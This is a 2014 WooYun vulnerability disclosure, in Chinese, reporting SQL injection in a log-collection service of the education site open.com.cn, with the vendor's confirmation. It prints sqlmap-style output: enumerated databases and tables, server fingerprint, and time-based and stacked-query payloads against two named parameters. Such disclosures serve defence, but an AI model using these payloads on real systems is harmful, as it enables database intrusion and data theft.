漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-076790
漏洞标题：OPEN.COM.CN SQL注入（二）
相关厂商：open.com.cn
漏洞作者： Feei
提交时间：2014-09-21 10:49
修复时间：2014-11-05 10:50
公开时间：2014-11-05 10:50
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-21： 细节已通知厂商并且等待厂商处理中
2014-09-26： 厂商已经确认，细节仅向厂商公开
2014-10-06： 细节向核心白帽子及相关领域专家公开
2014-10-16： 细节向普通白帽子公开
2014-10-26： 细节向实习白帽子公开
2014-11-05： 细节向公众公开
简要描述：
日志收集统计服务未对参数进行严格校验，导致存在SQL注入
详细说明：
登陆奥鹏学习中心后审查元素里发现一条特殊链接（看到这个IP和当前网站服务器不在一起，就觉得后面那两个参数可能存在注入）
果不其然后面两个参数都存在注入
漏洞证明：
数据库
[*] KYSMSClient
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] subedu_log
[*] tempdb
Database: KYSMSClient
[6 tables]
+----------------------+
| KY_INTERFACE_RECV |
| KY_INTERFACE_USER |
| K\xc9_INTERFACE_SEND |
| dtproperties |
| sysconstraints |
| syssegments |
+----------------------+
Database: Northwind
+--------------------------------------+---------+
| Table | Entries |
+--------------------------------------+---------+
| dbo.[Order Details Extended] | 2155 |
| dbo.[Order Details] | 2155 |
| dbo.Invoices | 2155 |
| dbo.[Order Subtotals] | 830 |
| dbo.[Orders Qry] | 830 |
| dbo.Orders | 830 |
| dbo.[Summary of Sales by Quarter] | 809 |
| dbo.[Summary of Sales by Year] | 809 |
| dbo.[Customer and Suppliers by City] | 120 |
| dbo.Customers | 91 |
| dbo.[Quarterly Orders] | 86 |
| dbo.[Product Sales for 1997] | 77 |
| dbo.[Sales by Category] | 77 |
| dbo.Products | 77 |
| dbo.[Alphabetical list of products] | 69 |
| dbo.[Products by Category] | 69 |
| dbo.[Sales Totals by Amount] | 66 |
| dbo.Territories | 54 |
| dbo.EmployeeTerritories | 49 |
| dbo.sysconstraints | 43 |
| dbo.Suppliers | 29 |
| dbo.[Products Above Average Price] | 25 |
| dbo.Employees | 9 |
| dbo.[Category Sales for 1997] | 8 |
| dbo.Categories | 8 |
| dbo.Region | 4 |
| dbo.syssegments | 3 |
+--------------------------------------+---------+
相关信息：
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current user: 'center'
---
Place: GET
Parameter: openstuno
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: serverip=T180SERVER&openstuno=201303606445'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: serverip=T180SERVER&openstuno=201303606445' WAITFOR DELAY '0:0:5'--
Place: GET
Parameter: serverip
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: serverip=T180SERVER'; WAITFOR DELAY '0:0:5'--&openstuno=201303606445
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: serverip=T180SERVER' WAITFOR DELAY '0:0:5'--&openstuno=201303606445
---
存在基于时间和基于堆查询SQL注入漏洞
修复方案：
严格过滤相关参数或直接先上WAF
版权声明：转载请注明来源 Feei@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：18
确认时间：2014-09-26 08:16
厂商回复：
对研发无语了，人员更替管理跟不上
最新状态：
暂无